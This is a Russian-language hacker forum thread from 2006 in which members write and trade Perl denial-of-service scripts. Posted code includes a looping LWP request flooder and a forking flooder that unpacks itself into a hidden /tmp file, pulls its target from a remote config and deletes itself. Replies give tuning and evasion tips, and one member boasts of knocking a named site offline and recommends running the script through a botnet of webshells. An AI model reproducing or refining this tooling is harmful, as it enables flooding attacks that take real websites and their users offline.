досер на perl

Discussion in 'PHP' started by genom--, 11 Nov 2006.

  1. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    млина сел решил ddos скрипт написать -- закидывать левыми пакетами неприятелей -- дык чето кроме вот этого ниче в голову не пришло -- пробовал прикрутить потоки -- один хрен скорость такаяже

    #!/usr/bin/perl
    use LWP::UserAgent;

    print "*******************DDos*************************\nDDos start....[+]\n";



    lol:
    my $ua = LWP::UserAgent->new(
    max_size => 10,
    agent => 'kakep agent v 9.11',
    timeout => 1,
    );
    $request = HTTP::Request->new("GET", 'http://127.0.0.1:80/');
    $response = $ua->request($request);
    goto(lol);
     
    1 person likes this.
  2. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
    Я конечно совершенно не знаю perl, но как я вижу:
    многопоточность отсутвует
    Как я понял скрипт все-равно получает страницу сайта целиком, но это не целисобразно. Лучше получать 1 символ и рвать коннект. Помнится я как-то что-то вроде этого делал на ПХП, так меня потом же ответами и заДОСило :)
    Кстати, самый вереый способ организовать многопоточность - многократно запустить скрипт :p
     
    2 people like this.
  3. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    1) Досеры обычно юзают какую-небудь багу или скрипт который выполняется достаточно долго напримет поиск.
    2) LWP::UserAgent; - ИМХО дерьмо, IO::Socket; по производительности раз в десять быстрее, поэтому и многопоточность страдает, а вообще лучьше и легче как fucker"ok уже сказал запустить несколько раз, темболее что в документации по перл так и написано, что многопоточность на стадии разработки.
     
  4. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    ТЫ ХОЧИШЬ ЭТО НАЗВАТЬ ДОССЕРОМ? ЛАЖА!
     
    1 person likes this.
  5. n4n0bit

    n4n0bit Elder - Старейшина

    Joined:
    11 Sep 2006
    Messages:
    52
    Likes Received:
    14
    Reputations:
    20
    Как заметил KPOT_f!nd это рельано лажа.
    hidden тока воот объясни почему ЛВП говно да еще и в 10 раз проигрывает сокетам?
    Многопоточность в перле нормально работает несморя на то что написано в доках.

    Вот мой вариант на базе модели процессов с форкам, немножка с полиморфизмом=)) эта открывок из моего заброшеннога досера, так что разбирайся сам:

    Code:
    use strict;open(SAME,"$0");open(WRIT,">/tmp/.mc-root") or die "$!";
    my @same_file = <SAME>;my @r = ();
    foreach(@same_file[6..17]){s/^#//;push @r,$_;}
    print WRIT @r;close SAME;close WRIT;
    if(!(my $pid = fork)) {system('perl /tmp/.mc-root');print "OK";}
    # < portible code >
    #use strict;use IO::Socket;our $url='http://127.0.0.1/7357/config.txt';
    #our$parent=0;our@childs=();our$c0nf=getCONF($url);$c0nf=~/(\S+)#(\d+)/;
    #our$d0s_url=$1;our@d0s_h0s=split(/\//,$d0s_url);$d0s_h0s[2]=~s/www.//;
    #our$c0nn=$2;our@browsers=("Mozilla/2.0 (compatible; Ask Jeeves/Teoma)","curl/7.13.1 (powerpc-apple-darwin 8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2","Googlebot/2.1 (+http://www.google.com/bot.html)","Opera 6.03 on Windows 2000, cloaked as MSIE: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]","Internet Explorer 5.2 on Mac OS X: Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Internet Explorer 7.0 beta running on Windows Longhorn: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Off By One 3.5a on Windows XP: Mozilla/4.7 (compatible; OffByOne; Windows 2000)");
    #F0RK:
    #for(my$i=0;$i<=$c0nn;$i++){my$pid=fork;my$oldpid=$$;if(!defined($pid)){waitpid($pid,0);} 
    #elsif($pid==0){$parent=$oldpid;last F0RK;}}if($parent){&d0s;}
    #sub getCONF{my@host = split(/\//,$url);$host[2]=~s/www.//; 
    #my$s0ck=IO::Socket::INET->new(PeerAddr=>$host[2],PeerPort=>80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";
    #print $s0ck join ("\n"=>"GET $url HTTP/1.1","Host: $host[2]","User-Agent: Internet Explorer 6.5","","");
    #chomp(my@socket=<$s0ck>);$s0ck->close;my$src=join("",@socket);return $src;}
    #sub d0s{my$s0ck=IO::Socket::INET->new(PeerAddr=>$d0s_h0s[2],PeerPort => 80,Proto=>'tcp')||die "err0r c0nnecti0n $!\n";print $s0ck join ("\n"=>"GET $d0s_url HTTP/1.1","Host: 127.0.0.1","User-Agent: Internet Explorer 6.5","","");$s0ck->close;}`rm -f $0`;#d0s3r 0.1 (c)n4n0bit
    
    Кстати genom-- накуй ты используешь сдесь timeout ??? он сдесь вообще в роли другой а именно ожидает ответ от сервера в течении таймаута етога, а не как ты наверное подумал конект каждую секунжу - что бы был конект каждую секунду нужна воспользоваться sleep(), далее вообще без коментов...
     
    #5 n4n0bit, 12 Nov 2006
    Last edited: 12 Nov 2006
  6. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Боле мение!
     
  7. n4n0bit

    n4n0bit Elder - Старейшина

    Joined:
    11 Sep 2006
    Messages:
    52
    Likes Received:
    14
    Reputations:
    20
    Мне вот интересн KPOT_f!nd ты многа понял что там написано???
     
  8. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Ты это сам писал только честно? Просто я пользовалься таким мини-доссером! Вот не помню откуда скачал его!
     
  9. n4n0bit

    n4n0bit Elder - Старейшина

    Joined:
    11 Sep 2006
    Messages:
    52
    Likes Received:
    14
    Reputations:
    20
    Писал сам гдет летом потом забил на ету тему - не интересна!
    Проста сам скрипт расспаковывает тела досера в файл отдельный потом его запускает вообщем я уже сам не помню=))
    ps; /me спать
    ps2; в паблике его небыло никогда разви что толька на cup.su
     
  10. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Писал брутер мыл(чисто из интереса), так на сокетах примерно в 10 раз быстрее брутил. А ты объясни, почему сокетами пользуешься?
    LOL, С каких это пор коментикование считается алгоритмом упаковки? :D Теперь надо паковать свои скрипты этим методом:
    Code:
    my @same_file = <SAME>;
    my @r = ();
    foreach(@same_file[6..17]){
      s/^#//;
      push @r, $_;
    }
    А полиморфизма туууут...
    http://ru.wikipedia.org/wiki/Полиморфизм_в_языках_программирования
    http://ru.wikipedia.org/wiki/Полиморфизм_компьютерных_вирусов
    Он тут какраз в той роли что надо, т.е. если сервер долго не отвечает он пробует конектится ещё раз.
    Как можно было предположить что он тймаут поставил в роле слир, если он писал ддоcер? На*ер в ддосере слип?
    А что тут понимать, или этот "полиморфизм" так осложняет чтение кода?
    Это не отрывок, это полная версия, или ты имел ввиду ещё конфиг файл? А юзерагенты предварительно занесённые в масив ты так и не использовал и пытался ддосить перезапросом одной и той-же страници, с одним и тем-же юзерагентом(Internet Explorer 6.5) которого ниукого нет, и его забанить как 2 пальса...

    ЗЫ Не пытался никого обидеть, просто обьяснил, что этот скрипт как досер не катит.
     
  11. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    Самый Ядерный Досер

    #!/usr/bin/perl
    use LWP::UserAgent;

    print "*******************DDos*************************\n DDos start....[+]\n";


    =))
     
  12. n4n0bit

    n4n0bit Elder - Старейшина

    Joined:
    11 Sep 2006
    Messages:
    52
    Likes Received:
    14
    Reputations:
    20
    потому что если досер ставить на сервак есть вероятность что LWP не будет.
    Сдесь проста так сделано, почитай внимательно код.
    Можна было и в _DATA_ загнать но я сделал именно так.

    образно говоря.

    ТЫ сам понял что сказал? если сервак не отвечает то он еще раз будет конектиться не дождавшись его ответа и будет получать постоянно ошибку 500 !
    Слип чувак что бы коннект происходил каждый указанный слип \=)) понял ? Читай PERL доки

    Не старик - это отрывок вообще из досера веб-шеллов.
    имх0 какая та крыса с капа распостранила хотя тут никуяя особеннога нету. ТОчна к массиву rand() не прикрутил.
    Вообще тo он рабочий, да т твоих объяснений тут как токовых нету никуя кроме как ты заметил что я ранд не прикрутил к массиву.

    ps: в пративном случаи это рабочий образет который можна улучшить.
     
    #12 n4n0bit, 12 Nov 2006
    Last edited: 12 Nov 2006
  13. n4n0bit

    n4n0bit Elder - Старейшина

    Joined:
    11 Sep 2006
    Messages:
    52
    Likes Received:
    14
    Reputations:
    20
    Для автора топика
    Мож обратиться через этот форум к KSURi, у него есть наработки досера как на процессах так и с моdулем threads
     
  14. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    млина люди вы хоть иногда читаете что написано буквами или только код -- яж вам и говорю что мне в голову просто не приходит нифига толкового --- я и сам знаю что это лажа -- не надо мне говорить это пятнадцать раз =)

    кста слип будет засыпать минимум на 1 секунду есть другая функция -- более прикольная ей мона паузы покороче сделать select(undef,$vremia_payzi);


    и хиден объясни насчет LWP-- почему ты так уверен --- я уже дофига чего для работы с нетом написал и пробовал и через сокеты и нифига они не быстрее только глючнее и места больше занимают -- -- вот
     
  15. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Почему ты думаешь что вокруг тебя никто ничего не понимает? Функция Sleep есть во всех языках програмирования и делает она везде одно и тоже т.е. передаёт управление системе на указанный промежуток времени. Покажы хоть одного человека кто пишет хоть на одном языке програмирования и не знает что такое слир.

    Согласен с зелёным выделением, такой ддосер писать в среднем 3-5 мин. И что в нём приватного то, может задуманная но не реализованая смена юзерагентов?
     
  16. n4n0bit

    n4n0bit Elder - Старейшина

    Joined:
    11 Sep 2006
    Messages:
    52
    Likes Received:
    14
    Reputations:
    20
    hidden не будем переходить на личности я тебе объяснил применения слипа в данной ситуации, че ты вообще полез в др языки?
    Да и еще не нужна ни когда определять качества кода по его размеру и скорасти написания.
    Бывают случаи что совсем малый кусок кода но он оптимизирован по максимуму и не всегда допреш до етога за 5 минут - это я проста так сказал.

    genom--
    хм, попробую селектом мне его не приходилось использовать.
    Но если так подумать интервал конекта менше одной сикунды может палиться фаером, вообщем эксперементировать нада.
     
  17. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Ко мне обращаться не надо, надо открыть редактор и исправить/добавить мой скрипт если уж его упомянули.

    rand() я видимо действительно забыл прикрутить... Но тот скрипт не есть конечная версия. get_doser_standalone.pl - вот конечная версия. Я вовсе не уверен что этот скрипт есть у кого то кроме меня, т.к. уже не помню кому давал или не давал. Со своей домашней машины я валил void.ru с помощью этого скрипта.

    По поводу идей:
    юзать threads не рационально, но клево ;)
    разница в реализации на LWP и сокетах не заметна не вооруженным взглядом.
    подмена юзерагентов почти ничего не решает, т.к. банят по юзерагенту тока конченые олени, имхо достаточно просто изменить 1 раз его со стандартного перловского.
    фишка в том чтобы запустить скрипт с большого кол-ва хостов, именно поэтому лучше юзать это как модуль для ботнета на вебшеллах
     
    #17 KSURi, 16 Nov 2006
    Last edited: 16 Nov 2006
  18. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Ах да, по поводу того что просто послать запрос и принять 1 сим:
    в принципе клево, тока лучше принимать не 1 сим, а хотя бы 10, дабы проанализировать код ответа серва.
    А ваще если мне не изменяет память в Lwp тоже можно "вхолостую" посылать запросы.